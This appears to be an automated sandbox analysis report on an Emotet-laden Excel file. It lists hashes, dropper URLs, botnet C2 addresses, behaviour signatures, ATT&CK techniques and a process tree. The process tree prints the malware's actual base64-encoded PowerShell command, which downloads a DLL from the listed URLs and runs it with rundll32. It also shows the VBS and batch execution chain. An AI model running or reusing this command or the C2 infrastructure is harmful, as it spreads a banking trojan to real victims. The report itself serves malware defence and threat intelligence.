emotet | 489ba4799731f91cd6851883782677bfae808dfb545cb668037867672dbad892

Analysis

max time kernel
159s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
02/02/2022, 18:40

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Report Analysis Logs

General

Target
SI-6357 report.xls
Size 150KB
Sample220202-xa78msbcd4
SHA256 489ba4799731f91cd6851883782677bfae808dfb545cb668037867672dbad892
MD5 af768daf615258bd1c0ce674c8aec6e8
SHA1 caa49b73c2f17def233a1c6e820755530c5413c0
SHA512 51dfcd11ebad2336c985274a2b45f17a7c050c9a3335af3e9ba863d8c878197fe78e42b2ad32cb1f29350cc0d8cfd203d2603c9511f91d4cfa9c4d6fb0de718a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker persistence trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://actividades.laforetlanguages.com/wp-admin/BlkdOKDXL/
exe.dropper
http://sbcopylive.com.br/rjuz/w/
exe.dropper
https://trasix.com/wp-admin/y5Aa1jt0Sp2Qk/
exe.dropper
https://www.parkinsons.co.in/abc/Y6Y0fTbUEg6/
exe.dropper
https://biz.merlin.ua/wp-admin/W6agtFSRZGt371dV/
exe.dropper
http://bruckevn.site/3yztzzvh/nmY4wZfbYL/
exe.dropper
https://pardiskood.com/wp-content/NR/
exe.dropper
https://daujimaharajmandir.org/wp-includes/63De/
exe.dropper
https://datasits.com/wp-includes/Zkj4QO/
exe.dropper
https://anugerahmasinternasional.co.id/wp-admin/SJbxE5I/
exe.dropper
https://atmedic.cl/sistemas/3ZbsUAU/
exe.dropper
https://anwaralbasateen.com/Fox-C404/mDHkfgebMRzmGKBy/

Extracted

Family

emotet

Botnet

Epoch4

23.246.204.126:443
149.56.163.161:8080
212.237.5.209:443
159.89.230.105:443
178.63.25.185:443
104.251.214.46:8080
195.154.133.20:443
217.182.143.207:443
103.75.201.4:443
162.243.175.63:443
173.212.193.249:8080
138.185.72.26:8080
107.182.225.142:8080
45.118.115.99:8080
46.55.222.11:443
212.237.56.116:7080
178.79.147.66:8080
160.16.102.168:80
212.237.17.99:8080
51.38.71.0:443
207.38.84.195:8080
212.24.98.99:8080
110.232.117.186:8080
159.8.59.82:8080
131.100.24.231:80
58.227.42.236:80
164.68.99.3:8080
103.75.201.2:443
41.76.108.46:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.142.114.231:8080
192.254.71.210:443
185.157.82.211:8080
45.118.135.203:7080
129.232.188.93:443
45.176.232.124:443
79.172.212.216:8080
158.69.222.101:443
144.76.186.49:8080
200.17.134.35:7080
176.104.106.96:8080
81.0.236.90:443
216.158.226.206:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2916	1816	wscript.exe	61

Blocklisted process makes network request 2 IoCs

flow	pid	Process
49	3036	powershell.exe
60	2920	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 4 IoCs

pid	Process
1244	rundll32.exe
3164	rundll32.exe
2752	rundll32.exe
2920	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Sfbgdkw\llhbtl.lzu	rundll32.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\State\keyValueLKG.dat	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MusNotifyIcon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MusNotifyIcon.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DownloadMode_BackCompat = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PeerInfoCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LANConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\GroupConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\BkDownloadRatePct = "45"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadPendingCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkUsageBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\KVFileExpirationTime = "132884772335553108"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\DODownloadMode = "1"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CDNConnectionCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MonthlyUploadRestriction = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCdnBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownlinkBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\FrDownloadRatePct = "90"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyCacheHostBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadMonthlyLanBytes = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "8.593754"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrBps = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyRateFrCnt = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CacheSizeBytes = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\MemoryUsageKB = "4072"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\PriorityDownloadCount = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UploadRatePct = "100"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Settings	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyInternetBytes = "0"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Config\Geo_EndpointFullUri = "https://geo.prod.do.dsp.mp.microsoft.com/geo"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\UplinkUsageBps = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\LinkLocalConnectionCount = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\SwarmCount = "1"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\CPUpct = "0.006561"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\DeliveryOptimization\Usage\DownloadMonthlyLanBytes = "0"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1816	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3036	powershell.exe
3036	powershell.exe
2920	rundll32.exe
2920	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3036	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE
1816	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 2916	1816	EXCEL.EXE	70
PID 1816 wrote to memory of 2916	1816	EXCEL.EXE	70
PID 2916 wrote to memory of 3496	2916	wscript.exe	71
PID 2916 wrote to memory of 3496	2916	wscript.exe	71
PID 3496 wrote to memory of 3036	3496	cmd.exe	73
PID 3496 wrote to memory of 3036	3496	cmd.exe	73
PID 2916 wrote to memory of 1752	2916	wscript.exe	74
PID 2916 wrote to memory of 1752	2916	wscript.exe	74
PID 1752 wrote to memory of 1244	1752	cmd.exe	76
PID 1752 wrote to memory of 1244	1752	cmd.exe	76
PID 1752 wrote to memory of 1244	1752	cmd.exe	76
PID 1244 wrote to memory of 3164	1244	rundll32.exe	77
PID 1244 wrote to memory of 3164	1244	rundll32.exe	77
PID 1244 wrote to memory of 3164	1244	rundll32.exe	77
PID 3164 wrote to memory of 2752	3164	rundll32.exe	78
PID 3164 wrote to memory of 2752	3164	rundll32.exe	78
PID 3164 wrote to memory of 2752	3164	rundll32.exe	78
PID 2752 wrote to memory of 2920	2752	rundll32.exe	79
PID 2752 wrote to memory of 2920	2752	rundll32.exe	79
PID 2752 wrote to memory of 2920	2752	rundll32.exe	79

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SI-6357 report.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\wetidjks.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABnAGoAcwBlAGIAbgBnAHUAawBpAHcAdQBnADMAawB3AGoAZAA9ACIAaAB0AHQAcAA6AC8ALwBhAGMAdABpAHYAaQBkAGEAZABlAHMALgBsAGEAZgBvAHIAZQB0AGwAYQBuAGcAdQBhAGcAZQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBCAGwAawBkAE8ASwBEAFgATAAvACwAaAB0AHQAcAA6AC8ALwBzAGIAYwBvAHAAeQBsAGkAdgBlAC4AYwBvAG0ALgBiAHIALwByAGoAdQB6AC8AdwAvACwAaAB0AHQAcABzADoALwAvAHQAcgBhAHMAaQB4AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB5ADUAQQBhADEAagB0ADAAUwBwADIAUQBrAC8ALABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBwAGEAcgBrAGkAbgBzAG8AbgBzAC4AYwBvAC4AaQBuAC8AYQBiAGMALwBZADYAWQAwAGYAVABiAFUARQBnADYALwAsAGgAdAB0AHAAcwA6AC8ALwBiAGkAegAuAG0AZQByAGwAaQBuAC4AdQBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwA2AGEAZwB0AEYAUwBSAFoARwB0ADMANwAxAGQAVgAvACwAaAB0AHQAcAA6AC8ALwBiAHIAdQBjAGsAZQB2AG4ALgBzAGkAdABlAC8AMwB5AHoAdAB6AHoAdgBoAC8AbgBtAFkANAB3AFoAZgBiAFkATAAvACwAaAB0AHQAcABzADoALwAvAHAAYQByAGQAaQBzAGsAbwBvAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBOAFIALwAsAGgAdAB0AHAAcwA6AC8ALwBkAGEAdQBqAGkAbQBhAGgAYQByAGEAagBtAGEAbgBkAGkAcgAuAG8AcgBnAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANgAzAEQAZQAvACwAaAB0AHQAcABzADoALwAvAGQAYQB0AGEAcwBpAHQAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AWgBrAGoANABRAE8ALwAsAGgAdAB0AHAAcwA6AC8ALwBhAG4AdQBnAGUAcgBhAGgAbQBhAHMAaQBuAHQAZQByAG4AYQBzAGkAbwBuAGEAbAAuAGMAbwAuAGkAZAAvAHcAcAAtAGEAZABtAGkAbgAvAFMASgBiAHgARQA1AEkALwAsAGgAdAB0AHAAcwA6AC8ALwBhAHQAbQBlAGQAaQBjAC4AYwBsAC8AcwBpAHMAdABlAG0AYQBzAC8AMwBaAGIAcwBVAEEAVQAvACwAaAB0AHQAcABzADoALwAvAGEAbgB3AGEAcgBhAGwAYgBhAHMAYQB0AGUAZQBuAC4AYwBvAG0ALwBGAG8AeAAtAEMANAAwADQALwBtAEQASABrAGYAZwBlAGIATQBSAHoAbQBHAEsAQgB5AC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABoAGsAbAB3AFIASABKAFMAZQA0AGgAIABpAG4AIAAkAGcAagBzAGUAYgBuAGcAdQBrAGkAdwB1AGcAMwBrAHcAagBkACkAewAkAEoAcwAzAGgAbABzAGsAZABjAGYAawA9ACIAdgBiAGsAdwBrACIAOwAkAHMAZABlAHcASABTAHcAMwBnAGsAagBzAGQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJABKAHMAMwBoAGwAcwBrAGQAYwBmAGsAKwAiAC4AZABsAGwAIgA7AGkATgB2AE8AawBlAC0AdwBFAGIAcgBlAFEAdQBlAHMAVAAgAC0AdQBSAGkAIAAkAGgAawBsAHcAUgBIAEoAUwBlADQAaAAgAC0AbwB1AFQAZgBpAEwAZQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAA7AGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJABJAEQAcgBmAGcAaABzAGIAegBrAGoAeABkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQASQBEAHIAZgBnAGgAcwBiAHoAawBqAHgAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3036
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1752
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1244
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\vbkwk.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3164
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Sfbgdkw\llhbtl.lzu",MGqGCoF
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2752
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Sfbgdkw\llhbtl.lzu",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2920

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b7ed9482f79622249b4cb2b42cbfcebb gHx578yn+Ei25xkyXbKqZQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2532

C:\Windows\system32\MusNotifyIcon.exe
%systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
1⤵
- Checks processor information in registry
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:2268

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1244-315-0x0000000002660000-0x0000000002685000-memory.dmp

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memory/1816-204-0x00007FFA0B2D0000-0x00007FFA0B2E0000-memory.dmp

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memory/1816-364-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-367-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-366-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-161-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-365-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-252-0x00007FFA0B2D0000-0x00007FFA0B2E0000-memory.dmp

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memory/1816-171-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-185-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-181-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/1816-274-0x0000019E86E40000-0x0000019E86E44000-memory.dmp

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memory/1816-167-0x00007FFA0DA10000-0x00007FFA0DA20000-memory.dmp

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memory/2752-319-0x0000000002DE0000-0x0000000002E05000-memory.dmp

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memory/2920-321-0x00000000043A0000-0x00000000043C5000-memory.dmp

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memory/3036-308-0x000001AD15740000-0x000001AD15742000-memory.dmp

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memory/3036-310-0x000001AD15746000-0x000001AD15748000-memory.dmp

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memory/3036-309-0x000001AD15743000-0x000001AD15745000-memory.dmp

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memory/3036-305-0x000001AD157F0000-0x000001AD15812000-memory.dmp

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memory/3164-317-0x00000000027C0000-0x00000000027E5000-memory.dmp

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